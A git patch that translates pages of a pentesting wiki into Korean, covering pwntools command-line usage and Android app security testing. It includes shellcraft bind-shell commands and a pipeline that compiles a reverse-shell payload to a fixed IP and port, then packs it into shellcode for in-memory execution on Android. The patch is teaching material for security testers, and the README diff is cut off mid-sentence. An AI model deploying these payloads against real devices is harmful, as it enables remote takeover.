From 312e7808f5a6e7713ce9d39cd165eb280edc8ea9 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 02:12:42 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/in-memory-jni- --- src/SUMMARY.md | 1 + .../tools/pwntools.md | 113 ++-- .../android-app-pentesting/README.md | 570 +++++++++--------- .../in-memory-jni-shellcode-execution.md | 121 ++++ .../reversing-native-libraries.md | 83 +-- 5 files changed, 529 insertions(+), 359 deletions(-) create mode 100644 src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3e41d9a7b..edddf45ba 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -353,6 +353,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 57ec6cd38..a493923f3 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -11,12 +11,12 @@ pip3 install pwntools pwn asm "jmp esp" pwn asm -i ``` -**선택할 수 있는 항목:** +**선택 가능:** -- 출력 유형 (raw, hex, string, elf) -- 출력 파일 컨텍스트 (16, 32, 64, linux, windows...) -- 피할 바이트 (새 줄, null, 목록) -- gdb를 사용하여 디버그 셸코드를 선택하고 출력을 실행 +- 출력 유형 (raw,hex,string,elf) +- 출력 파일 컨텍스트 (16,32,64,linux,windows...) +- 제외할 bytes (new lines, null, a list) +- encoder 선택; debug shellcode를 gdb로 실행하여 output을 확인 ## **Pwn checksec** @@ -28,53 +28,53 @@ pwn checksec ## Pwn cyclic -패턴 가져오기 +패턴 생성 ``` pwn cyclic 3000 pwn cyclic -l faad ``` -**선택할 수 있는 항목:** +**선택 가능:** -- 사용된 알파벳(기본적으로 소문자 문자) -- 고유 패턴의 길이(기본값 4) -- 컨텍스트(16,32,64,linux,windows...) -- 오프셋 가져오기(-l) +- 사용되는 alphabet (기본값: lowercase chars) +- uniq pattern의 길이 (기본값: 4) +- context (16,32,64,linux,windows...) +- 오프셋 가져오기 (-l) -## Pwn 디버그 +## Pwn debug -프로세스에 GDB 연결 +프로세스에 GDB를 연결 ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` -**선택할 수 있습니다:** +**선택 가능:** -- 실행 파일, 이름 또는 pid 컨텍스트(16,32,64,linux,windows...) +- executable별, name별 또는 pid context별 (16,32,64,linux,windows...) - 실행할 gdbscript - sysrootpath ## Pwn disablenx -바이너리의 nx 비활성화 +binary의 nx 비활성화 ``` pwn disablenx ``` ## Pwn disasm -Hex opcode를 디스어셈블합니다. +hex opcodes를 디스어셈블 ``` pwn disasm ffe4 ``` -**선택할 수 있습니다:** +**선택 가능:** -- 컨텍스트 (16,32,64,linux,windows...) -- 기본 주소 -- 색상(기본)/무색 +- context (16,32,64,linux,windows...) +- base 주소 +- color(default)/no color ## Pwn elfdiff -두 파일 간의 차이를 출력합니다. +두 파일 간의 차이점을 출력 ``` pwn elfdiff ``` @@ -90,11 +90,11 @@ hexdump 가져오기 ``` pwn phd ``` -**선택할 수 있습니다:** +**선택 가능:** - 표시할 바이트 수 -- 하이라이트 바이트당 바이트 수 -- 시작 부분의 바이트 건너뛰기 +- 한 줄당 바이트 수 및 강조할 바이트 +- 처음의 바이트 건너뛰기 ## Pwn pwnstrip @@ -102,7 +102,7 @@ pwn phd ## Pwn shellcraft -쉘코드 가져오기 +shellcodes 가져오기 ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -110,32 +110,32 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` -**선택할 수 있는 항목:** +**선택 가능:** -- 쉘코드 및 쉘코드에 대한 인수 +- shellcode와 인자 - 출력 파일 - 출력 형식 -- 디버그 (쉘코드에 dbg 연결) -- 이전 (코드 이전에 디버그 트랩) -- 이후 -- opcodes 사용 피하기 (기본값: null 및 새 줄 아님) -- 쉘코드 실행 +- debug (attach dbg to shellcode) +- before (debug trap before code) +- after +- opcodes 사용 회피 (기본: null과 new line 제외) +- shellcode 실행 - 색상/무색상 -- 시스템 호출 목록 -- 가능한 쉘코드 목록 -- ELF를 공유 라이브러리로 생성 +- syscalls 목록 +- 가능한 shellcodes 목록 +- ELF를 shared library로 생성 -## Pwn 템플릿 +## Pwn template -파이썬 템플릿 가져오기 +python 템플릿 가져오기 ``` pwn template ``` -**선택할 수 있는 항목:** 호스트, 포트, 사용자, 비밀번호, 경로 및 조용함 +**선택 가능:** host, port, user, pass, path and quiet ## Pwn unhex -16진수에서 문자열로 +hex에서 string으로 ``` pwn unhex 686f6c61 ``` @@ -145,4 +145,37 @@ pwntools를 업데이트하려면 ``` pwn update ``` +## ELF → raw shellcode 패키징 (loader_append) + +Pwntools는 독립 실행형 ELF를 세그먼트를 스스로 매핑하고 원래 엔트리포인트로 실행을 전달하는 단일 raw shellcode 블롭으로 변환할 수 있습니다. 이는 다운로드한 바이트를 실행하기 위해 JNI를 호출하는 Android 앱 같은 메모리‑전용 로더에 이상적입니다. + +Typical pipeline (amd64 example) + +1) Build a static, position‑independent payload ELF (musl recommended for portability): +```bash +musl-gcc -O3 -s -static -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +2) ELF → shellcode로 변환 (pwntools 사용): +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") +``` +3) sc를 메모리 로더(예: HTTP[S]를 통해)로 전달하여 프로세스 내에서 실행합니다. + +Notes +- loader_append는 원본 ELF 프로그램을 shellcode에 임베드하고, 세그먼트를 mmaps하여 엔트리로 점프하는 소형 로더를 생성합니다. +- context.clear(arch=...)로 아키텍처를 명시하세요. arm64는 Android에서 일반적입니다. +- payload의 코드가 위치 비종속(position-independent)이 되도록 하고, 프로세스의 ASLR/NX에 대한 가정을 피하세요. + +## 참고자료 + +- [Pwntools](https://docs.pwntools.com/en/stable/) +- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 8ec00d540..5210db35a 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Android Applications Pentesting +# Android 애플리케이션 Pentesting {{#include ../../banners/hacktricks-training.md}} -## Android Applications Basics +## Android 애플리케이션 기본 -이 페이지를 먼저 읽어 Android 보안과 Android 애플리케이션에서 가장 위험한 구성 요소와 관련된 **가장 중요한 부분들**을 아는 것을 강력히 권장합니다: +이 페이지를 먼저 읽어 **Android 보안과 Android 애플리케이션에서 가장 위험한 구성요소와 관련된 가장 중요한 부분들**을 알아두는 것을 강력히 권장합니다: {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -이것은 에뮬레이션된 장치나 물리적 장치에 연결하는 데 필요한 주요 도구입니다.\ -**ADB**를 사용하면 컴퓨터에서 **USB** 또는 **Network**를 통해 장치를 제어할 수 있습니다. 이 유틸리티는 파일 양방향 **복사**, 앱의 **설치** 및 **제거**, 셸 명령의 **실행**, 데이터의 **백업**, 로그의 **읽기** 등 다양한 기능을 제공합니다. +이는 에뮬레이터나 실기기와 같은 Android 기기에 연결하기 위해 필요한 주요 도구입니다.\ +**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 기기를 제어할 수 있게 해줍니다. 이 유틸리티는 양방향 파일 **복사**, 앱의 **설치** 및 **제거**, 셸 명령의 **실행**, 데이터의 **백업**, 로그의 **읽기** 등 다양한 기능을 제공합니다. -다음 [**ADB Commands**](adb-commands.md) 목록을 확인하여 adb 사용법을 배우세요. +adb 사용 방법을 배우려면 다음 [**ADB Commands**](adb-commands.md) 목록을 확인하세요. ## Smali -때때로 **애플리케이션 코드를 수정**하여 **숨겨진 정보**(예: 잘 난독화된 비밀번호나 플래그)에 접근하는 것이 유용할 수 있습니다. 이럴 때 apk를 디컴파일하고 코드를 수정한 뒤 다시 컴파일하는 것이 흥미로운 방법일 수 있습니다.\ -[**이 튜토리얼에서** 새 기능을 위해 **APK를 디컴파일하고 Smali 코드를 수정한 뒤 APK를 리컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 이후 제시될 다이나믹 분석 중 여러 테스트에 대한 **대안**으로 매우 유용할 수 있습니다. 그러므로 **항상 이 가능성을 염두에 두세요**. +때때로 **애플리케이션 코드를 수정**해 **숨겨진 정보**(예: 잘 난독화된 비밀번호나 플래그)에 접근하는 것이 흥미로울 수 있습니다. 그런 경우, apk를 디컴파일하고 코드를 수정한 뒤 다시 컴파일하는 것이 유용할 수 있습니다.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). 이 방법은 이후 소개될 동적 분석 중 여러 테스트에 대한 **동적 분석 중 여러 테스트에 대한 대안**으로 매우 유용할 수 있습니다. 그러므로 **항상 이 가능성을 염두에 두세요**. -## Other interesting tricks +## 기타 흥미로운 팁 -- [Play Store에서 위치 스푸핑](spoofing-your-location-in-play-store.md) +- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) -- [Insecure In-App Update Mechanisms 악용](insecure-in-app-update-rce.md) -- [접근성 서비스 악용 (Android RAT)](accessibility-services-abuse.md) +- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) +- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) - **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Extract APK from device: +- 기기에서 APK 추출: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- 모든 splits 및 base apks를 [APKEditor](https://github.com/REAndroid/APKEditor)로 병합: +- 모든 split 및 base APK를 [APKEditor](https://github.com/REAndroid/APKEditor)로 병합: ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## 정적 분석 -무엇보다도, APK를 분석할 때는 decompiler를 사용하여 **Java 코드를 살펴봐야 합니다**.\ -자세한 decompiler 정보는 [**여기**](apk-decompilers.md)를 참조하세요. +우선, APK를 분석할 때는 **decompiler를 사용해 Java 코드를 살펴보는 것**이 중요합니다.\ +다양한 사용 가능한 decompiler에 대한 정보를 확인하려면 [**여기에서 읽어보세요**](apk-decompilers.md). ### 흥미로운 정보 찾기 -APK의 **strings**만 살펴봐도 **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** 등 흥미로운 항목을 찾을 수 있습니다... 코드 실행을 위한 **backdoors**나 인증 backdoors(앱에 하드코딩된 admin 자격증명)도 확인하세요. +APK의 **strings**만 살펴봐도 **비밀번호**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** 키, **encryption**, **bluetooth uuids**, **토큰** 등 흥미로운 것들을 찾을 수 있습니다... 코드 실행을 위한 **backdoors**나 인증 백도어(앱에 하드코딩된 관리자 자격증명)도 확인하세요. -**Firebase** +Firebase -**firebase URLs**에 특히 주의하고 잘못 구성되었는지 확인하세요. 자세한 내용과 Firebase를 악용하는 방법은 [여기](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)를 참조하세요. +**Firebase URLs**에 특히 주의하고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇이고 이를 악용하는 방법에 대한 추가 정보는 여기](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)에서 확인할 수 있습니다. -### 기본적인 애플리케이션 이해 - Manifest.xml, strings.xml +### 애플리케이션의 기본 이해 - Manifest.xml, strings.xml -애플리케이션의 _Manifest.xml_ 및 **_strings.xml_** 파일을 검토하면 잠재적인 보안 취약점을 발견할 수 있습니다. 이 파일들은 decompiler로 접근하거나 APK 파일 확장자를 .zip으로 변경한 뒤 압축을 풀어 확인할 수 있습니다. +애플리케이션의 **_Manifest.xml_와 **_strings.xml_ 파일을 검토하면 잠재적인 보안 취약점을 발견할 수 있습니다**. 이 파일들은 decompiler로 접근하거나 APK 파일의 확장자를 .zip으로 바꿔 압축을 풀어 확인할 수 있습니다. -Manifest.xml에서 확인되는 **취약점**에는 다음이 포함됩니다: +Manifest.xml에서 식별되는 **취약점**에는 다음이 포함됩니다: -- **Debuggable Applications**: _Manifest.xml_ 파일에서 `debuggable="true"`로 설정된 애플리케이션은 연결을 허용해 악용될 가능성이 있으므로 위험합니다. 디버깅 가능 애플리케이션을 디바이스에서 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요. -- **Backup Settings**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 usb debugging이 활성화된 경우 adb를 통한 무단 데이터 백업을 방지해야 합니다. -- **Network Security**: _res/xml/_의 커스텀 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 certificate pinning이나 HTTP 트래픽 허용 여부 같은 보안 세부사항을 지정할 수 있습니다. 예로 특정 도메인에 대해 HTTP 트래픽을 허용하는 설정이 있습니다. -- **Exported Activities and Services**: Manifest에서 exported된 activities와 services를 식별하면 오용될 수 있는 컴포넌트를 찾아낼 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 컴포넌트를 어떻게 악용할 수 있는지 파악하세요. -- **Content Providers and FileProviders**: 노출된 content provider는 무단 접근이나 데이터 변경을 허용할 수 있습니다. FileProvider의 구성도 면밀히 검토해야 합니다. -- **Broadcast Receivers and URL Schemes**: 이들 컴포넌트는 익스플로잇에 이용될 수 있으며, 특히 URL schemes가 입력 취약성에 대해 어떻게 처리되는지 주의해야 합니다. -- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 오래된 취약한 Android 버전을 지원하지 않도록 하는 것이 중요함을 보여줍니다. +- **Debuggable Applications**: _Manifest.xml_ 파일에서 `debuggable="true"`로 설정된 애플리케이션은 연결을 허용하여 악용될 수 있으므로 위험합니다. 디버깅 가능한 애플리케이션을 찾고 이를 악용하는 방법에 대한 튜토리얼을 참고하세요. +- **Backup Settings**: 민감한 정보를 다루는 애플리케이션은 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다(특히 usb debugging이 활성화된 경우). +- **Network Security**: _res/xml/_의 커스텀 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 certificate pinning이나 HTTP 트래픽 설정과 같은 보안 세부사항을 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하도록 설정할 수 있습니다. +- **Exported Activities and Services**: 매니페스트에서 노출된(exported) activity나 service를 식별하면 악용될 수 있는 컴포넌트를 드러낼 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 컴포넌트를 어떻게 악용할 수 있는지 밝혀낼 수 있습니다. +- **Content Providers and FileProviders**: 노출된 content provider는 무단으로 데이터에 접근하거나 수정할 수 있게 할 수 있습니다. FileProviders의 구성도 면밀히 검토해야 합니다. +- **Broadcast Receivers and URL Schemes**: 이런 컴포넌트들은 악용될 가능성이 있으며, 특히 URL 스킴이 입력을 어떻게 처리하는지 주의해서 살펴봐야 합니다. +- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, 및 `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 오래된 취약한 Android 버전을 지원하지 않는 것이 중요함을 시사합니다. -**strings.xml** 파일에서는 API keys, custom schemas, 기타 개발자 메모 등 민감한 정보를 발견할 수 있으므로 이러한 리소스를 신중히 검토해야 합니다. +**strings.xml** 파일에서는 API 키, 커스텀 스키마, 기타 개발자 메모 등 민감한 정보가 드러날 수 있으므로 이러한 리소스를 주의 깊게 검토해야 합니다. ### Tapjacking -Tapjacking은 **malicious** **application**이 실행되어 **victim application 위에 위치**하는 공격입니다. 악성 앱이 피해자 앱을 시각적으로 가리면, UI는 사용자가 상호작용하도록 유도하도록 설계되고 그 상호작용을 피해자 앱으로 전달합니다.\ -결과적으로 사용자는 자신이 실제로는 피해자 앱에서 작업하고 있다는 사실을 **알지 못하게 됩니다**. +**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **피해자 애플리케이션 위에 자신을 배치하는** 공격입니다. 악성 앱이 피해자 앱을 가시적으로 가리게 되면, 악성 앱의 UI가 사용자를 속여 상호작용하도록 설계되고, 그 상호작용은 피해자 앱으로 전달됩니다.\ +결과적으로 사용자는 자신이 실제로 피해자 앱에서 동작을 수행하고 있다는 사실을 **알 수 없게 됩니다**. -자세한 내용은 다음을 참조하세요: +자세한 정보는 다음을 확인하세요: {{#ref}} @@ -104,9 +104,9 @@ tapjacking.md ### Task Hijacking -`launchMode`가 **`singleTask`**로 설정되어 있고 `taskAffinity`가 정의되어 있지 않은 **activity**는 Task Hijacking에 취약합니다. 이는 악성 **application**을 설치하고 실제 앱보다 먼저 실행하면 **실제 앱의 task를 hijack**할 수 있다는 뜻이며(따라서 사용자는 실제 앱을 사용한다고 생각하면서 **악성 앱과 상호작용**하게 됩니다). +`launchMode`가 **`singleTask`로 설정되어 있고 `taskAffinity`가 정의되어 있지 않은** activity는 Task Hijacking 취약점에 노출됩니다. 이는 악성 **애플리케이션**을 설치하고 실제 애플리케이션보다 먼저 실행하면 **실제 애플리케이션의 task를 가로챌 수 있음을 의미**합니다(따라서 사용자는 자신이 실제 앱을 사용한다고 생각하면서 **악성 애플리케이션**과 상호작용하게 됩니다). -자세한 내용은: +자세한 내용은 다음을 확인하세요: {{#ref}} @@ -115,71 +115,71 @@ android-task-hijacking.md ### Insecure data storage -**Internal Storage** +Internal Storage -Android에서 내부 저장소에 **저장된** 파일은 해당 파일을 **생성한 앱만 접근하도록 설계**되어 있습니다. 이 보안 조치는 Android OS에 의해 강제되며 대부분의 애플리케이션에 대해 충분합니다. 다만 개발자가 `MODE_WORLD_READABLE` 또는 `MODE_WORLD_WRITABLE`과 같은 모드를 사용하여 서로 다른 애플리케이션 간 파일 공유를 허용하는 경우가 있습니다. 이러한 모드는 잠재적으로 악성 앱을 포함한 다른 애플리케이션에 의해 파일 접근을 **제한하지 않습니다**. +Android에서 내부 저장소에 **저장된** 파일은 **해당 파일을 생성한 앱만 접근할 수 있도록 설계되어 있습니다**. 이 보안 조치는 Android 운영체제에 의해 강제되며 대부분의 애플리케이션 보안 요구사항에 충분합니다. 다만 개발자가 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE` 같은 모드를 사용해 파일을 다른 애플리케이션과 공유하도록 허용하는 경우가 있습니다. 이러한 모드는 잠재적으로 다른 애플리케이션(악성 앱 포함)이 해당 파일에 접근할 수 있게 하므로 주의가 필요합니다. -1. **Static Analysis:** -- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE` 사용 여부를 **주의 깊게 검토**하세요. 이러한 모드는 파일이 **의도치 않거나 무단으로 노출**될 수 있습니다. -2. **Dynamic Analysis:** -- 앱이 생성한 파일에 설정된 **권한**을 **확인**하세요. 특히 어떤 파일이 전 세계적으로 읽기 또는 쓰기 가능하게 설정되어 있는지 확인해야 합니다. 이는 어떤 애플리케이션이든(출처나 의도와 관계없이) 해당 파일을 **읽거나 수정**할 수 있게 하므로 심각한 보안 위험을 초래할 수 있습니다. +1. Static Analysis: +- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용을 **면밀히 검토**하세요. 이 모드들은 파일을 **원치 않거나 무단의 접근에 노출시킬 수 있습니다**. +2. Dynamic Analysis: +- 앱이 생성한 파일에 설정된 **권한**을 **검증**하세요. 특히 파일이 **전 세계에서 읽기 또는 쓰기가 가능한지** 확인하세요. 이는 심각한 보안 위험을 초래할 수 있으며, 설치된 어떤 애플리케이션이라도 해당 파일을 읽거나 수정할 수 있게 됩니다. -**External Storage** +External Storage -SD 카드와 같은 **external storage**의 파일을 다룰 때는 다음을 유의하세요: +SD Card와 같은 **external storage**의 파일을 다룰 때는 다음과 같은 점을 고려해야 합니다: -1. **접근성**: -- 외부 저장소의 파일은 **전역적으로 읽기 및 쓰기 가능**합니다. 즉, 어떤 애플리케이션이나 사용자도 접근할 수 있습니다. -2. **보안 문제**: -- 접근이 쉬우므로 민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다. -- 외부 저장소는 제거될 수 있고 어떤 애플리케이션에서도 접근할 수 있어 보안성이 낮습니다. -3. **외부 저장소의 데이터 처리**: -- 외부 저장소에서 가져온 데이터에 대해 항상 **입력 검증(input validation)**을 수행하세요. 외부 저장소의 데이터는 신뢰할 수 없는 소스에서 왔기 때문에 중요합니다. -- 외부 저장소에 executables나 class 파일을 저장해 동적으로 로드하는 것은 강력히 권장되지 않습니다. -- 애플리케이션이 외부 저장소에서 실행 파일을 가져와야 하는 경우, 동적으로 로드하기 전에 해당 파일들이 **서명되고 암호학적으로 검증**되었는지 확인하세요. 이는 애플리케이션의 보안 무결성을 유지하는 데 필수적입니다. +1. 접근성: +- external storage의 파일은 **전역적으로 읽기/쓰기 가능**합니다. 즉 어떤 애플리케이션이나 사용자도 이 파일들에 접근할 수 있습니다. +2. 보안 문제: +- 접근이 쉬우므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 권장**됩니다. +- 외부 저장소는 제거되거나 어떤 앱이라도 접근할 수 있어 더 안전하지 않습니다. +3. External Storage로부터의 데이터 처리: +- 외부 저장소에서 가져온 데이터에 대해 항상 **입력 검증(input validation)**을 수행하세요. 외부 저장소의 데이터는 신뢰할 수 없는 소스이기 때문에 필수적입니다. +- 외부 저장소에 실행 파일이나 class 파일을 저장하고 동적으로 로드하는 것은 강력히 권장되지 않습니다. +- 애플리케이션이 외부 저장소에서 실행 파일을 가져와야 하는 경우, 이러한 파일이 동적으로 로드되기 전에 반드시 **서명되고 암호학적으로 검증**되었는지 확인하세요. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 필수적입니다. -외부 저장소는 /storage/emulated/0 , /sdcard , /mnt/sdcard 에서 접근할 수 있습니다. +External storage는 `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`에서 접근할 수 있습니다. > [!TIP] -> Android 4.4(**API 17**)부터 SD 카드에는 앱별 디렉터리 구조가 있어 **앱이 자기 전용 디렉터리로만 접근을 제한**합니다. 이는 악성 애플리케이션이 다른 앱의 파일을 읽거나 쓰는 접근을 얻는 것을 방지합니다. +> Android 4.4(**API 17**)부터 SD 카드에는 앱 전용 디렉터리 구조가 도입되어 **앱이 자신의 전용 디렉터리로만 접근하도록 제한**됩니다. 이는 악성 애플리케이션이 다른 앱의 파일에 읽기/쓰기 접근을 얻는 것을 방지합니다. -**Sensitive data stored in clear-text** +**평문으로 저장된 민감한 데이터** -- **Shared preferences**: Android는 각 애플리케이션이 `/data/data//shared_prefs/` 경로에 xml 파일을 쉽게 저장하도록 허용하며, 이 폴더에서 민감한 정보가 평문으로 저장되어 있는 경우가 종종 있습니다. -- **Databases**: Android는 각 애플리케이션이 `/data/data//databases/` 경로에 sqlite 데이터베이스를 쉽게 저장하도록 허용하며, 이 폴더에서 민감한 정보가 평문으로 저장되어 있는 경우가 종종 있습니다. +- **Shared preferences**: Android는 각 애플리케이션이 `/data/data//shared_prefs/` 경로에 xml 파일을 쉽게 저장할 수 있도록 허용하며, 때때로 해당 폴더에서 평문으로 된 민감한 정보를 발견할 수 있습니다. +- **Databases**: Android는 각 애플리케이션이 `/data/data//databases/` 경로에 sqlite 데이터베이스를 쉽게 저장할 수 있도록 허용하며, 때때로 해당 폴더에서 평문으로 된 민감한 정보를 발견할 수 있습니다. ### Broken TLS -**Accept All Certificates** +모든 인증서 수락(Accept All Certificates) -어떤 이유로 개발자들이 호스트명이 일치하지 않아도 모든 인증서를 수락하는 경우가 있습니다. 예를 들어 다음과 같은 코드 라인처럼: +어떤 이유에서인지 개발자들이 호스트네임이 일치하지 않아도 모든 인증서를 수락하는 경우가 있습니다. 예를 들어 다음과 같은 코드 라인처럼: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -좋은 방법은 기기 내부에서 Burp CA를 신뢰(허가)하지 않은 상태로 Burp 같은 프록시를 사용해 트래픽을 캡처해보는 것이다. 또한 Burp로 다른 호스트명에 대한 인증서를 생성해 사용해볼 수도 있다. +A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. ### 취약한 암호화 -**부적절한 키 관리 프로세스** +**취약한 키 관리 프로세스** -일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되었거나 예측 가능한 키로 암호화한다. 리버싱을 통해 공격자가 기밀 정보를 추출할 수 있으므로 이렇게 해서는 안 된다. +일부 개발자는 민감한 데이터를 로컬 저장소에 저장하고 코드에 하드코딩되었거나 예측 가능한 키로 암호화합니다. 리버싱을 통해 공격자가 기밀 정보를 추출할 수 있으므로 이렇게 해서는 안 됩니다. -**안전하지 않거나/또는 폐기된 알고리즘의 사용** +**안전하지 않거나/또는 폐기된 알고리즘 사용** -개발자는 권한 부여 **검사**(authorization **checks**), 데이터 **저장** 또는 **전송**에 **deprecated algorithms**를 사용해서는 안 된다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있다. 예를 들어 비밀번호를 저장하기 위해 **hashes**를 사용한다면, 솔트와 함께 브루트포스에 **강한** 해시 알고리즘을 사용해야 한다. +개발자는 권한 확인, 데이터 **저장** 또는 **전송**에 **deprecated algorithms**을 사용해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 비밀번호를 저장하기 위해 **hashes**를 사용하는 경우에는 salt와 함께 브루트포스에 **저항성 있는** 해시를 사용해야 합니다. ### 기타 확인사항 -- 역공학 작업을 어렵게 하기 위해 **obfuscate the APK** 하는 것이 권장된다. -- 앱이 민감한 경우(예: 은행 앱)에는 모바일이 **rooted** 되었는지 확인하는 **자체 검사(own checks to see if the mobile is rooted)**를 수행하고 그에 맞게 동작해야 한다. -- 앱이 민감한 경우(예: 은행 앱)에는 **emulator** 사용 여부를 확인해야 한다. -- 앱이 민감한 경우(예: 은행 앱)에는 실행 전에 **자기 무결성(self integrity)** 을 **체크**하여 수정 여부를 확인해야 한다. -- 어떤 compiler/packer/obfuscator로 APK가 빌드되었는지 확인하려면 [**APKiD**](https://github.com/rednaga/APKiD)를 사용하라 +- 공격자의 리버스 엔지니어링 작업을 어렵게 하기 위해 **APK를 obfuscate** 하는 것이 권장됩니다. +- 앱이 민감한 경우(예: 은행 앱)는 모바일이 **rooted**인지 확인하는 자체 검사를 수행하고 그에 따라 동작해야 합니다. +- 앱이 민감한 경우(예: 은행 앱)는 **emulator** 사용 여부를 검사해야 합니다. +- 앱이 민감한 경우(예: 은행 앱)는 **실행 전에 자체 무결성을 확인하여** 수정되었는지 검사해야 합니다. +- APK를 빌드할 때 어떤 compiler/packer/obfuscator가 사용되었는지 확인하려면 [**APKiD**](https://github.com/rednaga/APKiD)를 사용하세요 ### React Native Application -React 애플리케이션의 javascript 코드를 쉽게 접근하는 방법을 배우려면 다음 페이지를 읽어라: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -Xamarin 애플리케이션의 C# 코드에 쉽게 접근하는 방법을 배우려면 다음 페이지를 읽어라: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -197,17 +197,17 @@ Xamarin 애플리케이션의 C# 코드에 쉽게 접근하는 방법을 배우 ### Superpacked Applications -이 [**blog 